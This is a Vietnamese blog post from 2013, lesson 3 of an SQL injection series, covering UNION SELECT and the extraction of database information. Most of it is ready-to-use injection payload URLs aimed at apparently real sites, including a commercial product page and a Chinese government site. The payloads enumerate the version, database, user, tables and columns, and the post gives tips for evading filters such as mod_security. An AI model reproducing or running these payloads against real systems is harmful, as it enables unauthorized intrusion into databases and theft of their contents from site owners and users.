Thứ Sáu, 24 tháng 5, 2013

[SQL]Bài số 3: Union select và get thông tin

A.Union Select
Khi order by xong ở bài 2 thì ta bước qua bài số 3
==TH hiện ra số==

Quote:
http://www.whamster.com/viewProduct.php?ID=-188 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28-- -

==TH không hiện ra số==
link mình sẽ up sau cho các bạn tham khảo
+viewsource
+Xem file ảnh bị lỗi để thấy số
+Thay số bằng null (vd id=-188 thì thay id=null UNION....)
+Thay các column(field) bằng null (vd :UNION SELECT null,null,....)
+Bypass filter (mod_security)( TH này mình sẽ đi sâu phần sau)
+TH hiện ra thông báo thế này:

Quote:
The used SELECT statements have a different number of columns
--Ta thực hiện Union select như sau : (id=148+and+1=0+UNION SELECT+1,2...)
Quote:
http://www.tchjbh.gov.cn/news_display.php?id=148 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22-- -
Quote:
http://www.tchjbh.gov.cn/news_displa...+and+1=0+UNION SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21 -- -

--Hoặc dùng error base
Quote:
http://www.tchjbh.gov.cn/news_display.php?id=148 /*!And (Select 1 From(Select Count( * ),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)*/-- -

--Hoặc dùng blind
Quote:
http://www.tchjbh.gov.cn/news_display.php?id=148 and substring(version(),1,1)=5


Mấy loại này mình sẽ đi sâu và chỉ rõ từng hàm trong phần sau


B- Get thông tin
++Get version(), database(),user()
-Get version: khi union select hiện ra số ae chỉ việc thay version() hoặc @@version vào số bị lỗi
Nếu gặp TH không ra version thì ta:
convert(version() using latin1)
Quote:
http://www.whamster.com/viewProduct.php?ID=-188 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,VERSION(),15,16,17,1 8,19,20,21,22,23,24,25,26,27,28-- -
Quote:
http://www.whamster.com/viewProduct.php?ID=-188 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,@@VERSION,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28-- -
Quote:
http://www.whamster.com/viewProduct.php?ID=-188 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,CONVERT(VERSION() USING LATIN1),15,16,17,18,19,20,21,22,23,24,25,26,27,28-- -
-Get database(),user() tương tự như get version()
Nếu gặp TH get database và user bị chặn thì ta get như sau:
database: select group_concat(schema_name) from information_schema.schemata
user: select grantee from information_schema.user_privileges (đối với Mysql >5)
++Get table_name,column_name
Đối với Mysql 4 ta thực hiện đoán table name
Đối với Mysql 5:
Table_name : select table_name from information_schema.tables where table_schema=database()
Quote:
http://www.whamster.com/viewProduct.php?ID=-188 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,GROUP_CONCAT(TABLE_N AME),15,16,17,18,19,20,21,22,23,24,25,26,27,28 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- -
Column_name :select column_name from information_schema.columns where table_schema=database() and table_name=0x...( hoặc where table_name like 0x...)
... là table_name được chuyển sang HEX
Quote:
http://www.whamster.com/viewProduct.php?ID=-188 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,GROUP_CONCAT(COLUMN_ NAME),15,16,17,18,19,20,21,22,23,24,25,26,27,28 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=0x7573657273-- -
0x7573657273 = users
chú ý nhỏ : TH get table,column mà site không hiện ra ta unhex(hex(table_name)) nhé
Mún get hết thì sử dụng hàm group_concat : group_concat(table_name)...

Không có nhận xét nào:

Đăng nhận xét